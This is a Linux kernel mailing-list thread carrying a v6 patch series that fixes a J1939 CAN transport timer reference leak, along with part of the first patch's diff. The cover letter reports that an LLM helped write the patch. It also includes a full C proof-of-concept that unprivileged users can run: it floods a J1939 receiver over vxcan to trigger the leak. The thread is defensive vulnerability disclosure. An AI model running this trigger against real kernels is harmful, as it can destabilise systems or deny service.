* [PATCH net v6 0/2] can: j1939: fix TX timer reference leak
@ 2026-11-04 15:02 Zihan Xi
2026-11-04 15:02 ` [PATCH net v6 1/2] can: j1939: account for timer references across rearm Zihan Xi
2026-11-04 15:02 ` [PATCH net v6 2/2] can: j1939: serialize TX with session shutdown Zihan Xi
0 siblings, 2 replies; 5+ messages in thread
From: Zihan Xi @ 2026-11-04 15:02 UTC (permalink / raw)
To: linux-can
Cc: robin, o.rempel, kernel, socketcan, mkl, lkp, bst, dev.kurt,
maxime.jayat, vega, zihanx
Hi Linux kernel maintainers,
We found a session-reference leak in net/can/j1939/transport.c.
The issue is reachable by a user who can create user and network namespaces
and send CAN frames to a J1939 receiver. The relevant details are provided
below.
---- details below ----
An LLM was used to help create this patch.
This bug is tracked at: https://bugtracker.nebusec.ai/f/11143 (11143)
Bug details:
Rearming an active TX hrtimer updates its expiry without queuing a second
timer, but taking a session reference on every restart leaks references.
A single reference must cover the queued timer and any running callback or
queued successor. The TX and RX timer paths now protect that lifetime and
serialize cancellation against rearming. Terminal paths publish shutdown
before draining timers. Only the state-transition winner reports aborts or
delivers a completed receive message.
The historical baseline PoC on the earlier CAN review baseline
abeacca61eea4f6803df4a595b656ea45c2d3249 completed with POC_EXIT=0 and
reproduced the timer-restart condition shown in the trace below. It did not
crash. The final v6 candidate was rebased onto net/main
787268686c64be60023743b527645a907e38ccca and built serially with KASAN,
lockdep, and timer debug objects. On that rebased source, KASAN runs
completed 64 EOMA/ABORT sessions and a combined 48-session TX/data workload
plus 48-session RTS/ABORT workload without sanitizer, lockdep, refcount,
timer, oops, or panic reports. Additional KASAN interaction runs on a
preceding 7076f684-based worktree completed 64 CTS/ABORT and 64 concurrent
RTS/ABORT sessions. The base J1939 subtree is byte-identical to selected
787268686c64. The exact candidate source snapshot for these older runs was
not retained; treat them as supplementary. KCSAN was also run on a
preceding
7076f684-based candidate, with KCSAN_VERBOSE, lockdep, and timer debug
objects; its selftests passed 3/3. It completed 32 CTS/ABORT, 32
concurrent RTS/ABORT, 32 EOMA/ABORT sessions and a combined 16-session
TX/data workload
plus 16-session RTS/ABORT workload without a KCSAN report. The exact KCSAN
source mapping to this final v6 patch was not retained; these results are
supplementary, not validation of the exact final source. KCSAN used its
default non-strict mode. No crash was observed, so no crash log is
available.
These bounded stress runs do not force every exact callback/canceler
interleaving.
Raw baseline trace excerpt (the second start updated an already armed
timer):
poc-389 [001] d.s2. 200.601390: hrtimer_start: hrtimer=ffffa3da4a2bc4b8 function=j1939_tp_txtimer expires=200464843123 softexpires=200464843123 mode=REL|SOFT was_armed=0
poc-390 [000] d.s2. 200.601400: hrtimer_start: hrtimer=ffffa3da4a2bc4b8 function=j1939_tp_txtimer expires=200464853253 softexpires=200464853253 mode=REL|SOFT was_armed=1
Changes in v6:
- Split timer lifetime accounting from terminal TX/send serialization.
- Patch 1 contains only timer-reference/lifetime handling and its required
timer shutdown/cleanup; it does not add TX-send lock state.
- Patch 2 adds the TX-send shutdown gate and state-change serialization.
- Preserve bounded KASAN/lockdep and KCSAN results; no crash was observed.
Link: https://lore.kernel.org/all/cover.1793681851.git.zihanx@nebusec.ai/
Reproducer:
The trigger uses raw CAN frames over namespace-local vxcan peers and a
concurrent duplicate-frame burst; packetdrill does not model this
CAN/J1939 device topology.
Compile the reproducer with:
gcc -O2 -Wall -Wextra -Werror -pthread -static -o poc poc.c
Run it as an unprivileged account with user/network namespace support:
unshare -Urn sh -c 'ip link add vxcan0 type vxcan peer name vxcan1 && ip link set vxcan0 up && ip link set vxcan1 up && ./poc vxcan0 vxcan1 2097152 4 32 4096 1'
We run the PoC in a 2 vCPU, 2 GB RAM x86 QEMU environment. The PoC creates
four 2 MiB ETP sessions and concurrently sends duplicate terminal DATA
packets over a vxcan pair.
------BEGIN PoC------
#define _GNU_SOURCE
#include <errno.h>
#include <linux/can.h>
#include <linux/can/j1939.h>
#include <linux/can/raw.h>
#include <net/if.h>
#include <poll.h>
#include <pthread.h>
#include <sched.h>
#include <signal.h>
#include <stdbool.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <time.h>
#include <unistd.h>
#ifndef SYS_sendmmsg
#define SYS_sendmmsg 307
#endif
#define LOCAL_SA 0x80
#define REMOTE_SA_BASE 0x81
#define APP_PGN_BASE 0x01f100
#define J1939_ETP_PGN_CTL 0x00c800
#define J1939_ETP_PGN_DAT 0x00c700
#define J1939_ETP_CMD_ABORT 0xff
#define J1939_ETP_CMD_CTS 0x15
#define J1939_ETP_CMD_DPO 0x16
#define J1939_ETP_CMD_RTS 0x14
#define DEFAULT_SIZE (1024U * 1024U)
#define DEFAULT_DUPLICATES 256U
#define DEFAULT_SESSIONS 4096U
#define DEFAULT_THREADS 8U
#define FIRST_BLOCK_PKTS 255U
struct params {
const char *tx_ifname;
const char *rx_ifname;
uint32_t session_size;
uint32_t sessions;
uint32_t threads;
uint32_t duplicates;
bool verbose;
};
struct can_burst {
struct can_frame *frames;
struct mmsghdr *msgs;
struct iovec *iovecs;
unsigned int nframes;
};
struct worker_ctx {
int fd;
int cpu;
struct can_burst burst;
};
static pthread_barrier_t start_barrier;
static pthread_barrier_t done_barrier;
static volatile sig_atomic_t stop_workers;
static void die(const char *what);
static int sendmmsg_compat(int fd, struct mmsghdr *msgvec, unsigned int vlen,
unsigned int flags)
{
return syscall(SYS_sendmmsg, fd, msgvec, vlen, flags);
}
static unsigned int sendmmsg_all(int fd, struct mmsghdr *msgvec,
unsigned int vlen, const char *what)
{
unsigned int sent = 0;
while (sent < vlen) {
int ret = sendmmsg_compat(fd, &msgvec[sent], vlen - sent, 0);
if (ret < 0)
die(what);
if (!ret) {
errno = EIO;
die(what);
}
sent += ret;
}
return sent;
}
static void die(const char *what)
{
perror(what);
exit(EXIT_FAILURE);
}
static void barrier_wait_or_die(pthread_barrier_t *barrier, const char *what)
{
int ret = pthread_barrier_wait(barrier);
if (ret != 0 && ret != PTHREAD_BARRIER_SERIAL_THREAD) {
errno = ret;
die(what);
}
}
static unsigned int parse_u32(const char *arg, const char *what)
{
char *endp;
unsigned long value;
errno = 0;
value = strtoul(arg, &endp, 0);
if (errno || *endp || value > UINT32_MAX) {
fprintf(stderr, "invalid %s: %s\n", what, arg);
exit(EXIT_FAILURE);
}
return (unsigned int)value;
}
static void pin_to_cpu(int cpu)
{
cpu_set_t set;
CPU_ZERO(&set);
CPU_SET(cpu, &set);
if (pthread_setaffinity_np(pthread_self(), sizeof(set), &set))
perror("pthread_setaffinity_np");
}
static canid_t make_can_id(uint8_t prio, uint32_t pgn, uint8_t sa, uint8_t da)
{
canid_t can_id;
can_id = CAN_EFF_FLAG | ((canid_t)prio << 26) | ((canid_t)pgn << 8) | sa;
if (((pgn >> 8) & 0xff) < 240)
can_id |= (canid_t)da << 8;
return can_id;
}
static int ifindex_by_name(const char *ifname)
{
unsigned int ifindex = if_nametoindex(ifname);
if (!ifindex) {
errno = ENODEV;
die("if_nametoindex");
}
return (int)ifindex;
}
static int make_raw_socket(int ifindex)
{
struct sockaddr_can addr = {
.can_family = AF_CAN,
.can_ifindex = ifindex,
};
int fd;
int one = 1;
fd = socket(PF_CAN, SOCK_RAW, CAN_RAW);
if (fd < 0)
die("socket(CAN_RAW)");
if (setsockopt(fd, SOL_CAN_RAW, CAN_RAW_RECV_OWN_MSGS, &one,
sizeof(one)) < 0)
die("setsockopt(CAN_RAW_RECV_OWN_MSGS)");
if (bind(fd, (struct sockaddr *)&addr, sizeof(addr)) < 0)
die("bind(CAN_RAW)");
return fd;
}
static int make_j1939_listener(int ifindex)
{
struct sockaddr_can addr = {
.can_family = AF_CAN,
.can_ifindex = ifindex,
.can_addr.j1939 = {
.name = 0,
.pgn = J1939_NO_PGN,
.addr = LOCAL_SA,
},
};
int fd;
fd = socket(PF_CAN, SOCK_DGRAM, CAN_J1939);
if (fd < 0)
die("socket(CAN_J1939)");
if (bind(fd, (struct sockaddr *)&addr, sizeof(addr)) < 0)
die("bind(CAN_J1939)");
return fd;
}
static void send_frame(int fd, const struct can_frame *frame)
{
ssize_t written = write(fd, frame, sizeof(*frame));
if (written != (ssize_t)sizeof(*frame))
die("write(can_frame)");
}
static void build_etp_rts(struct can_frame *frame, uint8_t sa, uint8_t da,
uint32_t size, uint32_t app_pgn)
{
memset(frame, 0, sizeof(*frame));
frame->can_id = make_can_id(6, J1939_ETP_PGN_CTL, sa, da);
frame->len = 8;
frame->data[0] = J1939_ETP_CMD_RTS;
frame->data[1] = (size >> 0) & 0xff;
frame->data[2] = (size >> 8) & 0xff;
frame->data[3] = (size >> 16) & 0xff;
frame->data[4] = (size >> 24) & 0xff;
frame->data[5] = (app_pgn >> 0) & 0xff;
frame->data[6] = (app_pgn >> 8) & 0xff;
frame->data[7] = (app_pgn >> 16) & 0xff;
}
static void build_etp_dpo(struct can_frame *frame, uint8_t sa, uint8_t da,
uint32_t app_pgn)
{
memset(frame, 0, sizeof(*frame));
frame->can_id = make_can_id(6, J1939_ETP_PGN_CTL, sa, da);
frame->len = 8;
frame->data[0] = J1939_ETP_CMD_DPO;
frame->data[1] = FIRST_BLOCK_PKTS;
frame->data[2] = 0;
frame->data[3] = 0;
frame->data[4] = 0;
frame->data[5] = (app_pgn >> 0) & 0xff;
frame->data[6] = (app_pgn >> 8) & 0xff;
frame->data[7] = (app_pgn >> 16) & 0xff;
}
static void build_etp_abort(struct can_frame *frame, uint8_t sa, uint8_t da,
uint32_t app_pgn)
{
memset(frame, 0, sizeof(*frame));
frame->can_id = make_can_id(6, J1939_ETP_PGN_CTL, sa, da);
frame->len = 8;
frame->data[0] = J1939_ETP_CMD_ABORT;
frame->data[1] = 1;
frame->data[2] = 0xff;
frame->data[3] = 0xff;
frame->data[4] = 0xff;
frame->data[5] = (app_pgn >> 0) & 0xff;
frame->data[6] = (app_pgn >> 8) & 0xff;
frame->data[7] = (app_pgn >> 16) & 0xff;
}
static void build_etp_terminal_data(struct can_frame *frame, uint8_t remote_sa)
{
memset(frame, 0, sizeof(*frame));
frame->can_id = make_can_id(6, J1939_ETP_PGN_DAT, remote_sa, LOCAL_SA);
frame->len = 8;
frame->data[0] = FIRST_BLOCK_PKTS;
memset(&frame->data[1], 'Z', 7);
}
static void free_burst(struct can_burst *burst)
{
free(burst->iovecs);
free(burst->msgs);
free(burst->frames);
memset(burst, 0, sizeof(*burst));
}
static void drain_raw_rx(int fd)
{
struct pollfd pfd = {
.fd = fd,
.events = POLLIN,
};
for (;;) {
struct can_frame frame;
int ret = poll(&pfd, 1, 0);
if (ret <= 0)
return;
if (read(fd, &frame, sizeof(frame)) < 0) {
if (errno == EAGAIN || errno == EWOULDBLOCK)
return;
die("read(raw drain)");
}
}
}
static bool match_ctl_cmd(const struct can_frame *frame, uint8_t sa, uint8_t da,
uint32_t pgn, uint8_t cmd)
{
uint32_t frame_pgn;
uint8_t frame_sa;
uint8_t frame_da = J1939_NO_ADDR;
if (!(frame->can_id & CAN_EFF_FLAG))
return false;
frame_sa = frame->can_id & 0xff;
frame_pgn = (frame->can_id >> 8) & J1939_PGN_MAX;
if (((frame_pgn >> 8) & 0xff) < 240) {
frame_da = frame_pgn & 0xff;
frame_pgn &= J1939_PGN_PDU1_MAX;
}
return frame_sa == sa && frame_da == da &&
frame_pgn == pgn && frame->len >= 1 &&
frame->data[0] == cmd;
}
static bool wait_for_cts(int raw_fd, uint8_t remote_sa, uint32_t app_pgn,
bool verbose)
{
struct pollfd pfd = {
.fd = raw_fd,
.events = POLLIN,
};
struct timespec start;
if (clock_gettime(CLOCK_MONOTONIC, &start) < 0)
die("clock_gettime");
for (;;) {
struct can_frame frame;
struct timespec now;
int elapsed_ms;
int timeout_ms;
int ret;
if (clock_gettime(CLOCK_MONOTONIC, &now) < 0)
die("clock_gettime");
elapsed_ms = (int)((now.tv_sec - start.tv_sec) * 1000 +
(now.tv_nsec - start.tv_nsec) / 1000000);
timeout_ms = 1000 - elapsed_ms;
if (timeout_ms <= 0)
return false;
ret = poll(&pfd, 1, timeout_ms);
if (ret < 0)
die("poll(raw)");
if (ret == 0)
return false;
if (!(pfd.revents & POLLIN))
continue;
if (read(raw_fd, &frame, sizeof(frame)) < 0)
die("read(raw)");
if (match_ctl_cmd(&frame, LOCAL_SA, remote_sa, J1939_ETP_PGN_CTL,
J1939_ETP_CMD_CTS)) {
if (verbose) {
printf("saw initial CTS for pgn=0x%05x remote_sa=0x%02x\n",
app_pgn, remote_sa);
fflush(stdout);
}
return true;
}
}
}
static void init_burst(struct can_burst *burst, unsigned int nframes)
{
memset(burst, 0, sizeof(*burst));
burst->nframes = nframes;
burst->frames = calloc(nframes, sizeof(*burst->frames));
burst->msgs = calloc(nframes, sizeof(*burst->msgs));
burst->iovecs = calloc(nframes, sizeof(*burst->iovecs));
if (!burst->frames || !burst->msgs || !burst->iovecs)
die("calloc(burst)");
}
static void finalize_burst(struct can_burst *burst)
{
unsigned int i;
for (i = 0; i < burst->nframes; i++) {
burst->iovecs[i].iov_base = &burst->frames[i];
burst->iovecs[i].iov_len = sizeof(burst->frames[i]);
burst->msgs[i].msg_hdr.msg_iov = &burst->iovecs[i];
burst->msgs[i].msg_hdr.msg_iovlen = 1;
}
}
static void build_prefix_burst(struct can_burst *burst, uint8_t remote_sa,
uint32_t app_pgn)
{
unsigned int i;
init_burst(burst, FIRST_BLOCK_PKTS);
build_etp_dpo(&burst->frames[0], remote_sa, LOCAL_SA, app_pgn);
for (i = 1; i < FIRST_BLOCK_PKTS; i++) {
memset(&burst->frames[i], 0, sizeof(burst->frames[i]));
burst->frames[i].can_id = make_can_id(6, J1939_ETP_PGN_DAT,
remote_sa, LOCAL_SA);
burst->frames[i].len = 8;
burst->frames[i].data[0] = i;
memset(&burst->frames[i].data[1], 'A' + (i % 26), 7);
}
finalize_burst(burst);
}
static void build_terminal_burst(struct can_burst *burst, uint8_t remote_sa,
unsigned int duplicates)
{
unsigned int i;
free_burst(burst);
init_burst(burst, duplicates);
for (i = 0; i < duplicates; i++)
build_etp_terminal_data(&burst->frames[i], remote_sa);
finalize_burst(burst);
}
static void *worker_main(void *arg)
{
struct worker_ctx *ctx = arg;
pin_to_cpu(ctx->cpu);
for (;;) {
barrier_wait_or_die(&start_barrier, "pthread_barrier_wait(start)");
if (stop_workers)
break;
sendmmsg_all(ctx->fd, ctx->burst.msgs, ctx->burst.nframes,
"sendmmsg(worker)");
barrier_wait_or_die(&done_barrier, "pthread_barrier_wait(done)");
}
return NULL;
}
static void init_workers(struct worker_ctx *workers, pthread_t *tids,
int ifindex, unsigned int threads, int ncpus)
{
unsigned int i;
if (pthread_barrier_init(&start_barrier, NULL, threads + 1))
die("pthread_barrier_init(start)");
if (pthread_barrier_init(&done_barrier, NULL, threads + 1))
die("pthread_barrier_init(done)");
for (i = 0; i < threads; i++) {
workers[i].fd = make_raw_socket(ifindex);
workers[i].cpu = i % ncpus;
if (pthread_create(&tids[i], NULL, worker_main, &workers[i]))
die("pthread_create");
}
}
static void join_workers(struct worker_ctx *workers, pthread_t *tids,
unsigned int threads)
{
unsigned int i;
stop_workers = 1;
barrier_wait_or_die(&start_barrier, "pthread_barrier_wait(stop)");
for (i = 0; i < threads; i++) {
if (pthread_join(tids[i], NULL))
die("pthread_join");
free_burst(&workers[i].burst);
close(workers[i].fd);
}
pthread_barrier_destroy(&start_barrier);
pthread_barrier_destroy(&done_barrier);
}
static void run_session(int raw_fd, struct worker_ctx *workers,
uint32_t size, uint32_t threads, uint32_t duplicates,
uint32_t session_idx, bool verbose)
{
struct can_frame rts;
struct can_frame abort;
struct can_burst prefix = { 0 };
uint8_t remote_sa;
uint32_t app_pgn;
unsigned int i;
unsigned int sa_span = J1939_MAX_UNICAST_ADDR - REMOTE_SA_BASE + 1;
remote_sa = REMOTE_SA_BASE + (session_idx % sa_span);
app_pgn = APP_PGN_BASE + (session_idx % 0x100);
build_etp_rts(&rts, remote_sa, LOCAL_SA, size, app_pgn);
send_frame(raw_fd, &rts);
if (!wait_for_cts(raw_fd, remote_sa, app_pgn, verbose)) {
fprintf(stderr,
"timed out waiting for initial CTS: session=%u remote_sa=0x%02x pgn=0x%05x size=%u\n",
session_idx, remote_sa, app_pgn, size);
exit(EXIT_FAILURE);
}
build_prefix_burst(&prefix, remote_sa, app_pgn);
/* Ensure the receiver processes DPO before the data packet burst. */
send_frame(raw_fd, &prefix.frames[0]);
usleep(1000);
sendmmsg_all(raw_fd, &prefix.msgs[1], prefix.nframes - 1,
"sendmmsg(prefix)");
free_burst(&prefix);
for (i = 0; i < threads; i++)
build_terminal_burst(&workers[i].burst, remote_sa, duplicates);
barrier_wait_or_die(&start_barrier, "pthread_barrier_wait(start-main)");
barrier_wait_or_die(&done_barrier, "pthread_barrier_wait(done-main)");
build_etp_abort(&abort, remote_sa, LOCAL_SA, app_pgn);
send_frame(raw_fd, &abort);
}
static void usage(const char *prog)
{
fprintf(stderr,
"usage: %s [tx_ifname] [rx_ifname] [size] [sessions] [threads] [duplicates_per_thread] [verbose]\n",
prog);
exit(EXIT_FAILURE);
}
int main(int argc, char **argv)
{
struct params params = {
.tx_ifname = "vcan0",
.rx_ifname = "vcan0",
.session_size = DEFAULT_SIZE,
.sessions = DEFAULT_SESSIONS,
.threads = DEFAULT_THREADS,
.duplicates = DEFAULT_DUPLICATES,
.verbose = false,
};
struct worker_ctx *workers;
pthread_t *tids;
int ifindex;
int rx_ifindex;
int raw_fd;
int j1939_fd;
int ncpus;
unsigned int i;
if (argc > 8)
usage(argv[0]);
if (argc >= 2)
params.tx_ifname = argv[1];
if (argc >= 3)
params.rx_ifname = argv[2];
if (argc >= 4)
params.session_size = parse_u32(argv[3], "size");
if (argc >= 5)
params.sessions = parse_u32(argv[4], "sessions");
if (argc >= 6)
params.threads = parse_u32(argv[5], "threads");
if (argc >= 7)
params.duplicates = parse_u32(argv[6], "duplicates");
if (argc >= 8)
params.verbose = parse_u32(argv[7], "verbose") != 0;
if (params.session_size <= 1785) {
fprintf(stderr, "size must be > 1785 to force ETP\n");
return EXIT_FAILURE;
}
if (!params.sessions || !params.threads || !params.duplicates)
usage(argv[0]);
ncpus = sysconf(_SC_NPROCESSORS_ONLN);
if (ncpus < 1)
die("sysconf(_SC_NPROCESSORS_ONLN)");
workers = calloc(params.threads, sizeof(*workers));
tids = calloc(params.threads, sizeof(*tids));
if (!workers || !tids)
die("calloc(workers)");
ifindex = ifindex_by_name(params.tx_ifname);
rx_ifindex = ifindex_by_name(params.rx_ifname);
j1939_fd = make_j1939_listener(rx_ifindex);
raw_fd = make_raw_socket(ifindex);
init_workers(workers, tids, ifindex, params.threads, ncpus);
printf("tx_if=%s(%d) rx_if=%s(%d) size=%u sessions=%u threads=%u duplicates_per_thread=%u\n",
params.tx_ifname, ifindex, params.rx_ifname, rx_ifindex,
params.session_size, params.sessions, params.threads,
params.duplicates);
fflush(stdout);
for (i = 0; i < params.sessions; i++) {
drain_raw_rx(raw_fd);
run_session(raw_fd, workers, params.session_size, params.threads,
params.duplicates, i, params.verbose);
if ((i + 1) % 16 == 0 || params.verbose) {
printf("completed %u sessions\n", i + 1);
fflush(stdout);
}
}
join_workers(workers, tids, params.threads);
close(raw_fd);
close(j1939_fd);
free(tids);
free(workers);
return 0;
}
------END PoC--------
Best regards,
Zihan Xi
Zihan Xi (2):
can: j1939: account for timer references across rearm
can: j1939: serialize TX with session shutdown
net/can/j1939/j1939-priv.h | 14 +
net/can/j1939/transport.c | 579 +++++++++++++++++++++++++++++++------
2 files changed, 508 insertions(+), 85 deletions(-)
--
2.43.0
^ permalink raw reply [flat|nested] 5+ messages in thread* [PATCH net v6 1/2] can: j1939: account for timer references across rearm
2026-11-04 15:02 [PATCH net v6 0/2] can: j1939: fix TX timer reference leak Zihan Xi
@ 2026-11-04 15:02 ` Zihan Xi
2026-11-06 4:18 ` netdev-bot+sashiko
2026-11-04 15:02 ` [PATCH net v6 2/2] can: j1939: serialize TX with session shutdown Zihan Xi
1 sibling, 1 reply; 5+ messages in thread
From: Zihan Xi @ 2026-11-04 15:02 UTC (permalink / raw)
To: linux-can
Cc: robin, o.rempel, kernel, socketcan, mkl, lkp, bst, dev.kurt,
maxime.jayat, vega, zihanx
Track one session reference for each timer lifetime spanning queued and
running states. Serialize timer restart, cancellation, and callback
completion so rearming an active timer cannot leak or lose its pin.
Apply the same lifetime accounting to the RX timer and stop terminal
paths from leaving queued timers behind.
Fixes: 9d71dd0c7009 ("can: add support of SAE J1939 protocol")
Cc: stable@vger.kernel.org
Reported-by: Vega <vega@nebusec.ai>
Link: https://bugtracker.nebusec.ai/f/11143
Signed-off-by: Zihan Xi <zihanx@nebusec.ai>
---
net/can/j1939/j1939-priv.h | 11 +
net/can/j1939/transport.c | 501 +++++++++++++++++++++++++++++++------
2 files changed, 434 insertions(+), 78 deletions(-)
diff --git a/net/can/j1939/j1939-priv.h b/net/can/j1939/j1939-priv.h
index cf26352d1d8c..123622c82a98 100644
--- a/net/can/j1939/j1939-priv.h
+++ b/net/can/j1939/j1939-priv.h
@@ -10,6 +10,7 @@
#define _J1939_PRIV_H_
#include <linux/can/j1939.h>
+#include <linux/spinlock.h>
#include <net/sock.h>
/* Timeout to receive the abort signal over loop back. In case CAN
@@ -290,6 +291,16 @@ struct j1939_session {
unsigned int dpo;
} pkt;
struct hrtimer txtimer, rxtimer;
+ unsigned int txtimer_cancelers; /* block starts while a cancel waits */
+ spinlock_t txtimer_lock; /* Protects TX timer lifetime state. */
+ /* One reference pins the complete queued/running timer lifetime. */
+ bool txtimer_shutdown;
+ bool txtimer_ref;
+ spinlock_t rxtimer_lock; /* Protects RX timer lifetime state. */
+ unsigned int rxtimer_cancelers;
+ /* One reference pins the complete queued/running timer lifetime. */
+ bool rxtimer_shutdown;
+ bool rxtimer_ref;
};
struct j1939_sock {
diff --git a/net/can/j1939/transport.c b/net/can/j1939/transport.c
index 8fcfd13e5e6f..fbeb858956e0 100644
--- a/net/can/j1939/transport.c
+++ b/net/can/j1939/transport.c
@@ -301,24 +301,176 @@ void j1939_session_put(struct j1939_session *session)
kref_put(&session->kref, __j1939_session_release);
}
-static void j1939_session_txtimer_cancel(struct j1939_session *session)
+static void j1939_session_txtimer_cancel(struct j1939_session *session,
+ bool shutdown)
{
- if (hrtimer_cancel(&session->txtimer))
+ bool put_ref = false;
+ int ret;
+
+ spin_lock_bh(&session->txtimer_lock);
+ session->txtimer_cancelers++;
+ if (shutdown)
+ session->txtimer_shutdown = true;
+ ret = hrtimer_try_to_cancel(&session->txtimer);
+ if (ret == 1) {
+ if (!WARN_ON_ONCE(!session->txtimer_ref)) {
+ session->txtimer_ref = false;
+ put_ref = true;
+ }
+ }
+ spin_unlock_bh(&session->txtimer_lock);
+
+ /* Never wait for a softirq callback while holding txtimer_lock. */
+ if (ret < 0) {
+ ret = hrtimer_cancel(&session->txtimer);
+ if (ret == 1) {
+ spin_lock_bh(&session->txtimer_lock);
+ if (!WARN_ON_ONCE(!session->txtimer_ref)) {
+ session->txtimer_ref = false;
+ put_ref = true;
+ }
+ spin_unlock_bh(&session->txtimer_lock);
+ }
+ }
+ spin_lock_bh(&session->txtimer_lock);
+ if (WARN_ON_ONCE(!session->txtimer_cancelers))
+ session->txtimer_cancelers = 0;
+ else
+ session->txtimer_cancelers--;
+ spin_unlock_bh(&session->txtimer_lock);
+
+ if (put_ref)
+ j1939_session_put(session);
+}
+
+static bool
+j1939_session_txtimer_cancel_async_locked(struct j1939_session *session)
+{
+ int ret;
+
+ lockdep_assert_held(&session->txtimer_lock);
+ session->txtimer_shutdown = true;
+ ret = hrtimer_try_to_cancel(&session->txtimer);
+ /* Let a queued successor finish promptly after callback exit. */
+ if (ret < 0 && !session->txtimer_cancelers && session->txtimer_ref &&
+ hrtimer_is_queued(&session->txtimer))
+ hrtimer_start(&session->txtimer, 0, HRTIMER_MODE_REL_SOFT);
+ if (ret != 1)
+ return false;
+
+ if (WARN_ON_ONCE(!session->txtimer_ref))
+ return false;
+ session->txtimer_ref = false;
+ return true;
+}
+
+static void j1939_session_txtimer_cancel_async(struct j1939_session *session)
+{
+ bool put_ref;
+
+ spin_lock_bh(&session->txtimer_lock);
+ put_ref = j1939_session_txtimer_cancel_async_locked(session);
+ spin_unlock_bh(&session->txtimer_lock);
+
+ if (put_ref)
j1939_session_put(session);
}
static void j1939_session_rxtimer_cancel(struct j1939_session *session)
{
- if (hrtimer_cancel(&session->rxtimer))
+ bool put_ref = false;
+ int ret;
+
+ spin_lock_bh(&session->rxtimer_lock);
+ session->rxtimer_cancelers++;
+ session->rxtimer_shutdown = true;
+ ret = hrtimer_try_to_cancel(&session->rxtimer);
+ if (ret == 1 && !WARN_ON_ONCE(!session->rxtimer_ref)) {
+ session->rxtimer_ref = false;
+ put_ref = true;
+ }
+ spin_unlock_bh(&session->rxtimer_lock);
+
+ /* Do not wait for the callback while holding rxtimer_lock. */
+ if (ret < 0) {
+ ret = hrtimer_cancel(&session->rxtimer);
+ if (ret == 1) {
+ spin_lock_bh(&session->rxtimer_lock);
+ if (!WARN_ON_ONCE(!session->rxtimer_ref)) {
+ session->rxtimer_ref = false;
+ put_ref = true;
+ }
+ spin_unlock_bh(&session->rxtimer_lock);
+ }
+ }
+
+ spin_lock_bh(&session->rxtimer_lock);
+ if (WARN_ON_ONCE(!session->rxtimer_cancelers))
+ session->rxtimer_cancelers = 0;
+ else
+ session->rxtimer_cancelers--;
+ spin_unlock_bh(&session->rxtimer_lock);
+
+ if (put_ref)
j1939_session_put(session);
}
-void j1939_session_timers_cancel(struct j1939_session *session)
+static bool
+j1939_session_rxtimer_cancel_async_locked(struct j1939_session *session)
+{
+ int ret;
+
+ lockdep_assert_held(&session->rxtimer_lock);
+ session->rxtimer_shutdown = true;
+ ret = hrtimer_try_to_cancel(&session->rxtimer);
+ if (ret < 0 && !session->rxtimer_cancelers &&
+ session->rxtimer_ref && hrtimer_is_queued(&session->rxtimer))
+ hrtimer_start(&session->rxtimer, 0, HRTIMER_MODE_REL_SOFT);
+ if (ret != 1)
+ return false;
+ if (WARN_ON_ONCE(!session->rxtimer_ref))
+ return false;
+ session->rxtimer_ref = false;
+ return true;
+}
+
+static void j1939_session_rxtimer_cancel_async(struct j1939_session *session)
+{
+ bool put_ref;
+
+ spin_lock_bh(&session->rxtimer_lock);
+ put_ref = j1939_session_rxtimer_cancel_async_locked(session);
+ spin_unlock_bh(&session->rxtimer_lock);
+
+ if (put_ref)
+ j1939_session_put(session);
+}
+
+static void
+j1939_session_timers_shutdown_locked(struct j1939_session *session)
+{
+ lockdep_assert_held(&session->priv->active_session_list_lock);
+ spin_lock(&session->rxtimer_lock);
+ session->rxtimer_shutdown = true;
+ spin_unlock(&session->rxtimer_lock);
+}
+
+static void j1939_session_timers_drain(struct j1939_session *session)
{
- j1939_session_txtimer_cancel(session);
+ j1939_session_txtimer_cancel(session, true);
j1939_session_rxtimer_cancel(session);
}
+void j1939_session_timers_cancel(struct j1939_session *session)
+{
+ /* Publish terminal intent before any callback can claim a timeout. */
+ j1939_session_list_lock(session->priv);
+ j1939_session_timers_shutdown_locked(session);
+ j1939_session_list_unlock(session->priv);
+
+ j1939_session_timers_drain(session);
+}
+
static inline bool j1939_cb_is_broadcast(const struct j1939_sk_buff_cb *skcb)
{
return (!skcb->addr.dst_name && (skcb->addr.da == 0xff));
@@ -716,18 +868,68 @@ static int j1939_xtp_tx_abort(struct j1939_priv *priv,
void j1939_tp_schedule_txtimer(struct j1939_session *session, int msec)
{
- j1939_session_get(session);
+ j1939_session_list_lock(session->priv);
+ if (session->state != J1939_SESSION_ACTIVE) {
+ j1939_session_list_unlock(session->priv);
+ return;
+ }
+
+ spin_lock(&session->txtimer_lock);
+ if (session->txtimer_cancelers || session->txtimer_shutdown) {
+ spin_unlock(&session->txtimer_lock);
+ j1939_session_list_unlock(session->priv);
+ return;
+ }
+
+ /* One pin covers an armed timer and any callback/successor overlap. */
+ if (!session->txtimer_ref) {
+ j1939_session_get(session);
+ session->txtimer_ref = true;
+ }
+
hrtimer_start(&session->txtimer, ms_to_ktime(msec),
HRTIMER_MODE_REL_SOFT);
+ spin_unlock(&session->txtimer_lock);
+ j1939_session_list_unlock(session->priv);
}
-static inline void j1939_tp_set_rxtimeout(struct j1939_session *session,
- int msec)
+/* active_session_list_lock protects the session state checked by callers. */
+static bool
+__j1939_tp_set_rxtimeout(struct j1939_session *session, int msec,
+ bool abort_timeout)
{
- j1939_session_rxtimer_cancel(session);
- j1939_session_get(session);
+ lockdep_assert_held(&session->priv->active_session_list_lock);
+
+ spin_lock(&session->rxtimer_lock);
+ if (session->rxtimer_shutdown || session->rxtimer_cancelers ||
+ (session->state != J1939_SESSION_ACTIVE &&
+ (!abort_timeout ||
+ session->state != J1939_SESSION_WAITING_ABORT))) {
+ spin_unlock(&session->rxtimer_lock);
+ return false;
+ }
+
+ /* Reuse the pin when replacing a queued timer or rearming a callback. */
+ if (!session->rxtimer_ref) {
+ j1939_session_get(session);
+ session->rxtimer_ref = true;
+ }
hrtimer_start(&session->rxtimer, ms_to_ktime(msec),
HRTIMER_MODE_REL_SOFT);
+ spin_unlock(&session->rxtimer_lock);
+ return true;
+}
+
+static inline bool j1939_tp_set_rxtimeout(struct j1939_session *session,
+ int msec)
+{
+ bool armed;
+
+ j1939_session_list_lock(session->priv);
+ armed = __j1939_tp_set_rxtimeout(session, msec, false);
+ j1939_session_list_unlock(session->priv);
+
+ return armed;
}
static int j1939_session_tx_rts(struct j1939_session *session)
@@ -1055,7 +1257,6 @@ static int j1939_xtp_txnext_receiver(struct j1939_session *session)
static int j1939_simple_txnext(struct j1939_session *session)
{
